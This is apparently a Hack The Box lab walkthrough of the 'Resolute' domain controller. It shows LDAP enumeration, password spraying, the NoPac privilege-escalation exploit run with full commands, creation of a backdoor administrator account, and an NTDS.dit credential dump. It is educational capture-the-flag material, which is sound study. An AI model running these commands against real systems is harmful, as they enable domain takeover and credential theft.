Resolute HTB Walkthrough
Resolute Hack The Box Walkthrough/Writeup:
How I use variables & Wordlists:
- Variables:
- In my commands you are going to see me use
$box
,$user
,$hash
,$domain
,$pass
often.- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
$box
= The IP of the box$pass
= Passwords I have access to.$user
= current user I am enumerating with.- Depending on where I am in the process this can change if I move laterally.
$domain
= the domain name e.g.sugarape.local
orcontoso.local
- Why am I telling you this? People of all different levels read these writeups/walktrhoughs and I want to make it as easy as possible for people to follow along and take in valuable information.
- I find the easiest way to eliminate type-os & to streamline my process it is easier to store important information in variables & aliases.
- In my commands you are going to see me use
- Wordlists:
- I have symlinks all setup so I can get to my passwords from
~/Wordlists
so if you see me using that path that’s why. If you are on Kali and following on, you will need to go to/usr/share/wordlists
- I also use these additional wordlists:
- I have symlinks all setup so I can get to my passwords from
1. Enumeration:
NMAP:
-
Basic Scan:
nmap $box -Pn -oA basicScan
kali in 46.02-HTB/BlogEntriesMade/Resolute/scans/nmap 3GiB/15GiB | 0B/1GiB with /usr/bin/zsh 🕙 09:36:50 zsh ❯ nmap $box -Pn -oA basicScan Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 09:36 BST Nmap scan report for 10.129.96.155 Host is up (0.040s latency). Not shown: 989 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl Nmap done: 1 IP address (1 host up) scanned in 7.35 seconds
- Initial thoughts:
- All great enumeration vectors below:
- DNS
- Kerberos
- SMB
- LDAP
- All great enumeration vectors below:
-
In depth scan:
sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
kali in 46.02-HTB/BlogEntriesMade/Resolute/scans/nmap 3GiB/15GiB | 0B/1GiB with /usr/bin/zsh 🕙 09:37:03 zsh ❯ sudo nmap -p- -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 09:38 BST Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 75.76% done; ETC: 09:38 (0:00:09 remaining) Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 75.95% done; ETC: 09:38 (0:00:09 remaining) Nmap scan report for 10.129.96.155 Host is up (0.038s latency). Not shown: 65511 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-20 08:45:53Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49686/tcp open msrpc Microsoft Windows RPC 49711/tcp open msrpc Microsoft Windows RPC 49789/tcp open unknown No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=10/20%OT=53%CT=1%CU=37772%PV=Y%DS=2%DC=I%G=Y%TM=671 OS:4C1E3%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S OS:%TS=A)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O OS:5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6 OS:=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O OS:%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%D OS:F=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O= OS:%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80% OS:W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q= OS:)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y% OS:DFI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-10-20T08:46:54 |_ start_date: 2024-10-20T08:38:24 |_clock-skew: mean: 2h27m01s, deviation: 4h02m31s, median: 6m59s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local | Forest name: megabank.local | FQDN: Resolute.megabank.local |_ System time: 2024-10-20T01:46:55-07:00 OS and Service detection performed. Please report any incorrect resu
- Findings:
- RPC is also running which is also to be expected.
- We have the domain name
megabank.local
LDAP 389
:
Using LDAP anonymous bind to enumerate further:
- If you are unsure of what anonymous bind does. It enables us to query for domain information anonymously, e.g. without passing credentials.
- We can actually retrieve a significant amount of information via anonymous bind such as:
- A list of all users
- A list of all groups
- A list of all computers.
- User account attributes.
- The domain password policy.
- Enumerate users who are susceptible to AS-REPRoasting.
- Passwords stored in the description fields
- The added benefit of using ldap to perform these queries is that these are most likely not going to trigger any sort of AV etc as ldap is how AD communicates.
- We can actually retrieve a significant amount of information via anonymous bind such as:
-
I actually have a handy script to check if anonymous bind is enabled & if it is to dump a large amount of information. You can find it here
- https://github.com/bloodstiller/ldapire
- https://bloodstiller.com/cheatsheets/ldap-cheatsheet/#ldap-boxes-on-htb
python3 ldapchecker.py $box
- It will dump general information & also detailed & simple information including:
- Groups
- Users
- It will dump general information & also detailed & simple information including:
-
It turns out the anonymous bind is enabled and we get the below information. I have removed the majority of the information as it is not relevant, however there are some keys bits of information we can use moving forward.
-
We have the naming context of the domain:
kali in 46.02-HTB/BlogEntriesMade/Resolute/scans/ldap 3GiB/15GiB | 0B/1GiB with /usr/bin/zsh 🕙 09:39:16 zsh ❯ python3 ~/Desktop/WindowsTools/ldapchecker.py $box Attempting to connect to 10.129.96.155 with SSL... Failed to connect with SSL. Attempting to connect to 10.129.96.155 with non-SSL... Connected successfully. Retrieving server information... DSA info (from DSE): Supported LDAP versions: 3, 2 Naming contexts: DC=megabank,DC=local CN=Configuration,DC=megabank,DC=local CN=Schema,CN=Configuration,DC=megabank,DC=local DC=DomainDnsZones,DC=megabank,DC=local DC=ForestDnsZones,DC=megabank,DC=local
-
We have the domain functionaility level:
domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
+Note+: that any host os can be used on workstations, however the functionality level determines what the minimum version for DC’s and the forest.
-
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/active-directory-functional-levels
-
Knowing the function level is useful as if want to target the DC’s and servers, we can know by looking at the function level what the minimum level of OS would be.
-
In this case we can see it is level 7 which means that this server has to be running Windows Server 2016 or newer.
-
Here’s a list of functional level numbers and their corresponding Windows Server operating systems:
Functional Level Number Corresponding OS 0 Windows 2000 1 Windows Server 2003 Interim 2 Windows Server 2003 3 Windows Server 2008 4 Windows Server 2008 R2 5 Windows Server 2012 6 Windows Server 2012 R2 7 Windows Server 2016 8 Windows Server 2019 9 Windows Server 2022 - +Note+:
- Each number corresponds to the minimum Windows Server version required for domain controllers in the domain or forest.
- As the functional level increases, additional Active Directory features become available, but older versions of Windows Server may not be supported as domain controllers.
- +Note+:
-
- The functionality level determines the minimum version of Windows server that can be used for a DC.
-
We have the full server name:
- Again we can see this has the CN as the base (mentioned previously.)
serverName: CN=RESOLUTE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=megabank,DC=local
- Again we can see this has the CN as the base (mentioned previously.)
-
-
It’s pretty amazing already what we have learned just by running some fairly simple ldap queries.
- We have the naming context.
- Domain name.
-
I update my
/etc/hosts
file now that we have the server name.- This is so we can use tools like kerbrute for user enumeration as well as other tools later on.
LDAP Group Enumeration:
-
As my script auto enumerates this information: I check the file’s:
groupsLdap.txt
groupsLdap_detailed.txt
-
groupsLdap.txt
provides a simple list of group names, so we can check for interesting groups:cat groupsLdap.txt
-
Lets check for information in the description fields using
groupsLdap_detailed.txt
:cat groupsLdap_detailed.txt | grep -i -a Description -B 3
- Nothing of note here
-
Discoveries:
- Nothing of note here
Finding a hard-coded user password using LDAP User Enumeration:
-
As my script auto enumerates this information: I check the file’s:
usersLdap.txt
usersLdap_detailed.txt
-
usersLdap.txt
provides a simple list of sam accounts present on the host that we can use for password spraying etc:cat usersLdap.txt
-
Lets check for information in the description fields using
usersLdap_detailed.txt
:cat usersLdap_detailed.txt | grep -i Description -B 3
- boom, user password. We also now know this a default password so we can password spray with our user list incase any other users have left their passwords as the default value.
Password spraying all users with our found password:
- I password spray using the found password & list of users & get a hit for
melanie
:- So this means taht the user
Marko
has changed theirs butMelanie
has not.
DNS 53
:
- Using dnsenum to enumerate DNS entries:
dnsenum -r --dnsserver $box --enum -p 0 -s 0 -f ~/Seclists/Discovery/DNS/subdomains-top1million-110000.txt $domain
- Find an entry for
ms02.megabank.local
on an internal ip. (they are all internal but you know what I mean.)
Kerberos 88
:
- Usually I would use Kerbrute to bruteforce Usernames, however as we can query ldap directly we do not need to perform this.
SMB 445
:
Attempting to connect with NULL & Guest sessions:
- This is a standard check I always try as alot of the time the guest account or null sessions can lead to a foothold:
netexec smb $box -u 'guest' -p '' --shares
netexec smb $box -u '' -p '' --shares
- Guest account is disabled and anonymous bind is also disabled.
- +Note+: The reason I am still checking for these is they would be findings in a real report.
Trying Usernames as Passwords:
- I always try usernames as passwords as well:
netexec smb $box -u Users.txt -p Users.txt --continue-on-success | grep [+]
- No hits
2. Foothold:
Enumerating the domain as melanie:
-
I check if we have remote access using
evil-winrm
& we do:evil-winrm -i $box -u $user -p $pass
-
Let’s get our user flag:
Strange LDAP Behavior:
-
I try to run a remote bloodhound collection but it fails, It appears there is something with our user account which won’t enable it:
python3 bloodhound.py -dc resolute.$domain -c All -u $user -p $user -d $domain -ns $box
-
The same happens for
asrep
&kerberoasting
:
I upload SharpChrome.exe via my evil-winrm for a session:
-
I get my collection:
- I think we may be on a second domain, as there are 2 domain mappings and we also so that other machine
MS02
earlier.
-
I look through the results but there are no immediate privesc paths apparent.
Trying to load PowerView into memory:
-
I upload
PowerView.ps1
usingevil-winrm
but when I try and execute it I get the below message:This script contains malicious content and has been blocked by your antivirus software.
-
I try various download cradles but these are all blocked:
-
+Deep Dive+: I have a deep dive into download cradles and how they work:
Using Winpeas to enumerate:
-
I upload WinPeas and run it to look if there are any privesc paths that are obvious:
-
Autologon creds:
Manual Enumeration of System Information:
Enumerating the password policy:
- Enumerating the password policy:
net accounts
- We can spray without fear of lockout.
Enumerating the Windows Version:
-
I enumerate the windows version:
[System.Environment]::OSVersion.Version
- As you can see
systeminfo
was denied but we can still query the build using env. - Checking this build number online we can see it’s from version 1607:
-
I do also try and enumerate the patch/hotfix level but all efforts are blocked.
Enumerating Installed Applications:
-
I enumerate the installed applications by querying the registry:
('HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*', 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*') | ForEach-Object { Get-ItemProperty -Path $_ } | Select-Object DisplayName, DisplayVersion, Publisher, InstallLocation | sort-object -Property Displayname -Unique |Format-Table -AutoSize
- Nothing of note:
Enumerating network services:
- I check what network services are running internally but again nothing immediate pops out:
netstat -nao
- +Note+:
- I have dialed in on loopback/localhost incase there is anything running internally.
Enumerate PATH:
-
Enumerating the
PATH
:$Env:PATH
-
The path is standard for a Windows environment: Here’s a breakdown:
C:\Windows\system32
: Primary system directory containing essential system files and executables.C:\Windows
: The root directory for the Windows OS.C:\Windows\System32\Wbem
: Contains files and tools for Windows Management Instrumentation (WMI).C:\Windows\System32\WindowsPowerShell\v1.0\
: Path for PowerShell, used for executing scripts and commands.C:\Users\melanie\AppData\Local\Microsoft\WindowsApps
: Path for user-specific Microsoft Store apps.
Enumerate ENV’s:
- I enumerate the
ENVs incase there is anything interesting:Get-ChildItem Env:
Enumerating Drives:
- Checking Drives:
Get-PsDrive
- This is standard output:
- Virtual drives: Like
Alias, Cert, Env, Function, HKCU, HKLM, Variable
, andWSMan
are virtual drives created byPowerShell
to allow easy navigation and management of things like aliases, environment variables, and the registry.
- Virtual drives: Like
Enumerating Scheduled Tasks:
- I try and enumerate scheduled tasks but I am denied:
Manual Enumeration of users:
Query Privileges, Groups & Logged in Users:
whoami /priv /groups; query user; net user
- +Note+: The error below is because we are logged in with
evil-winrm
so it won’t be seen as a live logged in session.
Manual Network Enumeration:
List all network interfaces, IP, and DNS:
ipconfig /all
List the ARP table:
arp -A
List current routing table:
route print
Manual Service/Program Enumeration:
Enumerating services using evil-winrm
:
- This will work often when other methods are denied:
services
Enumerating Binaries with Weak Service Permissions using AccessChk
& SharpUp.exe
:
-
When using
accesschk
, we want to check our current user first because our current user will likely belong to most-if-not-all of those groups by default.- This can help take the guess-work out of trying to find which group permissions were set on the service we are querying.
-
I upload the binary via
evil-winrm
-
I can the following commands to find any service that is writeable for our current user / any user:
.\accesschk64.exe melanie -wuvc * -accepteula
.\accesschk64.exe "Everyone" -wuvc * -accepteula
- Denied each time, let’s try sharpup just incase.
-
I upload
SharpUp.exe
and check for binaries with weak service permissions:.\SharpUP.exe audit
- As I expected denied.
Enumerate Startup Programs:
- Enumerate Startup Programs:
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
- Denied
Session Enumeration:
- I upload SessionGopher & check for any other existing sessions:
- There are none.
3. Privilege Escalation:
Finding out the host is vulnerable to the NoPac
vuln using netexec:
-
I attempt to use netexec to check if it’s vulnerable:
netexec smb $box -u $user -p $pass -M nopac
- I get the error below.
-
Troubleshooting
- Scrolling down I see the below.
- Error explained:
- If you’ve encountered the error KerberosError:
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
when using tools like netexec etc. It likely stems from a time synchronization issue between your system and the target you’re trying to authenticate with. - Kerberos relies heavily on timestamps as part of its secure authentication protocol, and even a small discrepancy in system time—typically more than five minutes—can cause the authentication process to fail.
- To resolve this issue, ensure both your machine and the target server are synced with the same accurate time source, such as using an NTP (Network Time Protocol) service.
- Which is what I will do now.
- If you’ve encountered the error KerberosError:
-
I sync my clock with the host:
sudo ntpdate -s resolute.$domain
-
I re-run my test using
netexec
to check if it’s vulnerable:netexec smb $box -u $user -p $pass -M nopac
- This time we see it’s vulnerable to the attack.
-
+Note+: I want to be really clear how I knew to test for this specific vulnerability. I have a document that I go through when checking for privilege escalation paths (see below). Simple as that, I keep a central document that I will go through for privesc and checks and then if none of them work I look to other sources.
- I knew already that their was no
WSUS
vector as the service was not running & neither was CA abuse as it was not running. There were noAS-Reproastable
users, as show in bloodhound & there were no users who had the correct perms for ashadow credential
attack in bloodhound either. - I’m telling you this as some walkthroughs make it seem like the attacker is a fountain of knowledge and has memorized all the latest attack vectors. Not the case, get a checklist and enumerate, that’s it.
-
+Deep Dive+ I have created a deepdive into this particular exploit if you want to learn more:
4. Ownership:
Preparing the NoPac Exploit:
-
Clone NoPac Exploit Repo:
git clone https://github.com/Ridter/noPac.git
-
Create Python Virtual Environment:
- I prefer to use python venvs when using exploits this way I don’t mess with my underlying python install and everything can existing in it’s own space with it’s own dependencies
cd noPac
python3 -m venv noPac
-
Activate Venv:
source noPac/bin/activate
-
Install Dependencies:
pip3 install -r requirements
Using the NoPac exploit to get a shell on the victim:
-
I run the exploit to get a shell on the host:
sudo python3 noPac.py $domain/$user:$pass -dc-ip $box -dc-host resolute -shell --impersonate administrator -use-ldap
- As you can see it says
[!] Launching semi-interactive shell - Careful what you execute
. This means we need to get our root flag and set up some simple persistence.
-
I get the flag:
5. Persistence:
Adding a user as an administrator:
- Add ourselves as a user:
- As we have a limited & unstable shell access the easiest thing to do is add ourselves to the host & then as an administrator. This will then allow us to perform further persistence steps
- Add ourselves as a new user:
net user bloodstiller bl00dst1ll3r! /add
- Add ourselves to the administrators group:
net localgroup Administrators bloodstiller /add
- Add ourselves as a new user:
- As we have a limited & unstable shell access the easiest thing to do is add ourselves to the host & then as an administrator. This will then allow us to perform further persistence steps
Dumping NTDS.dit:
-
Dump
NTDS.dit
:- Now we have administrator access as our user we can dump the
NTDS.dit
using netexec: netexec smb $box -u $user -p $pass -M ntdsutil
- Now we have administrator access as our user we can dump the
-
Lets confirm the local adminstrator hash works:
Lessons Learned:
What did I learn?
- LDAP is the best. But really it can be used to get alot of valuable information.
What silly mistakes did I make?
- Nothing terrible this time. Slow methodical manual enumeration was the way to solve this box.
Sign off:
Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!
Until next time, hack the planet!
– Bloodstiller
– Get in touch bloodstiller at proton dot me